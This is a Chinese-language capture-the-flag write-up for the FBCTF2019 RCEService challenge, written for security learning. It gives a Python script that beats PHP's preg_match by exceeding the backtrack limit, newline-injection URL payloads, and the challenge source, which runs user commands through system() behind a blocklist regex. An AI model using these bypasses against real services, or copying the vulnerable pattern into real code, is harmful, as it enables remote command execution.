[FBCTF2019]RCEService
打开网页,发现输入框,提示命令以json格式输入,先试试:
{"cmd": "ls"}
回显:index.php
,说明网页是用php
写的,输入其他命令发现进行了过滤,说明用到了正则表达式preg_match
函数。绕过preg_match
函数有两种方法:
方法一
利用preg_match
函数的最大回溯次数可以绕过preg_match
函数。
References
查询英文PHP
手册,发现php.ini
中的pcre.backtrack_limit
控制PCRE
的回溯限制默认为1000000
,python脚本:
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
res = requests.post("http://78850bfd-7aa8-4e32-bfab-181f587057c5.node4.buuoj.cn:81/", data={"cmd":payload})
print(res.text)
得到flag。用GET
传参,会报414 Request-URI Too Large
的错误,所以用POST
传参。
方法二
利用preg_match
函数只匹配第一行,所以可以利用换行符%0A
来构造payload。
查看home
目录:
/?cmd={%0A"cmd": "ls /home"%0A}
发现rceservice
文件夹,查看rceservice
文件夹:
/?cmd={%0A"cmd": "ls /home/rceservice"%0A}
发现flag
,jail
两个文件,输出flag
文件,输入url:
/?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}
得到flag。
References
题目源码:
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用。
References